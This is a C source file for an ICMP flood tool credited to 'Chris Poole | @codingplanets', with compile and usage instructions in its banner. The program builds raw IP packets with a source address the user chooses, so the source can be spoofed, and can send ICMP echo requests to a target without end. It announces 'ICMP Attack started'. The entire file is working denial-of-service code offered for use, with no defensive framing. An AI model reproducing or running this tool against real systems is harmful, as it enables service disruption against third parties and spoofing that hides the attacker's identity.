[C] ICMP-Flood

/***
 *      _____ _____ __  __ _____        ______ _                 _
 *     |_   _/ ____|  \/  |  __ \      |  ____| |               | |
 *       | || |    | \  / | |__) |_____| |__  | | ___   ___   __| |
 *       | || |    | |\/| |  ___/______|  __| | |/ _ \ / _ \ / _` |
 *      _| || |____| |  | | |          | |    | | (_) | (_) | (_| |
 *     |_____\_____|_|  |_|_|          |_|    |_|\___/ \___/ \__,_|
 *
 *
 *               /!\   C O M P I L E   /!\
 *
 *             gcc icmp-flood.c -pthread -o icmp-flood
 *
 *
 *               /!\  C O M M A N D S  /!\
 *
 *     Usage: ./icmp-flood <dest> <target> <packets>
 *        <dest> = your host
 *        <target> = target IP address
 *        <packets> = is the number of packets size
 *        Example: ./icmp-flood 127.0.0.1 72.92.38.28 65500
 *
 *
 *       _____              _ _ _
 *      / ____|            | (_) |
 *     | |     _ __ ___  __| |_| |_ ___
 *     | |    | '__/ _ \/ _` | | __/ __|
 *     | |____| | |  __/ (_| | | |_\__ \
 *      \_____|_|  \___|\__,_|_|\__|___/
 *
 *
 *
 *     /!\ Chris Poole  |  @codingplanets  /!\
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>

#define BUFFER_SIZE 400
#define PACKET_DELAY_USEC 30
#define DEF_NUM_PACKETS 100

char buf[BUFFER_SIZE];

char *usage = "\nUsage: ./icmpflood <dest> <target> <packets>\n \
	<dest> = your host\n \
	<target> = target IP address\n \
	<packets> = is the number of packets size\n \
	Example: ./icmp 127.0.0.1 72.92.38.28 65500 \n";

void set_ip_layer_fields(struct icmphdr *icmp, struct ip *ip)
{
    // IP Layer
    ip->ip_v = 4;
    ip->ip_hl = sizeof*ip >> 2;
    ip->ip_tos = 0;
    ip->ip_len = htons(sizeof(buf));
    ip->ip_id = htons(4321);
    ip->ip_off = htons(0);
    ip->ip_ttl = 255;
    ip->ip_p = 1;
    ip->ip_sum = 0; /* Let kernel fill in */

    // ICMP Layer
    icmp->type = ICMP_ECHO;
    icmp->code = 0;
    icmp->checksum = htons(~(ICMP_ECHO << 8));
}

void set_socket_options(int s)
{
    int on = 1;

    // Enable broadcast
    if(setsockopt(s, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0){
        perror("setsockopt() for BROADCAST error");
        exit(1);
    }

    // socket options, tell the kernel we provide the IP structure
    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){
        perror("setsockopt() for IP_HDRINCL error");
        exit(1);
    }
}

int main(int argc, char *argv[])
{
    int s, i;
    struct ip *ip = (struct ip *)buf;
    struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
    struct hostent *hp, *hp2;
    struct sockaddr_in dst;
    int offset;
    int num = DEF_NUM_PACKETS;

    if(argc < 3){
        fprintf(stdout, "%s\n",usage);
        exit(1);
    }

    // If enough arguments supplied
    if(argc == 4)
        num = atoi(argv[3]);

    // Loop based on the packet number
    for(i = 1; num == 0 ? num == 0 : i <= num; i++){
        // Clear data paylod
        memset(buf, 0, sizeof(buf));

        // Create RAW socket
        if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
            perror("socket() error");
            exit(1);
        }

        set_socket_options(s);

        if((hp = gethostbyname(argv[2])) == NULL){
            if((ip->ip_dst.s_addr = inet_addr(argv[2])) == -1){
                fprintf(stderr, "%s: Can't resolve, unknown host.\n", argv[2]);
                exit(1);
            }
        }else
            memcpy(&ip->ip_dst.s_addr, hp->h_addr_list[0], hp->h_length);

        if((hp2 = gethostbyname(argv[1])) == NULL){
            if((ip->ip_src.s_addr = inet_addr(argv[1])) == -1){
                fprintf(stderr, "%s: Can't resolve, unknown host\n", argv[1]);
                exit(1);
            }
        }else
            memcpy(&ip->ip_src.s_addr, hp2->h_addr_list[0], hp->h_length);

        set_ip_layer_fields(icmp, ip);

        dst.sin_addr = ip->ip_dst;
        dst.sin_family = AF_INET;

        if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0){
            fprintf(stderr, "Error during packet send.\n");
            perror("sendto() error");
        }else
            printf("  \n \
 -`-   ICMP Attack started   -`- \n \
 \n \
-`- Coded by Chris Poole | @codingplanets -`-\n \
 \n");

        close(s);
        usleep(PACKET_DELAY_USEC);
    }
    return 0;
}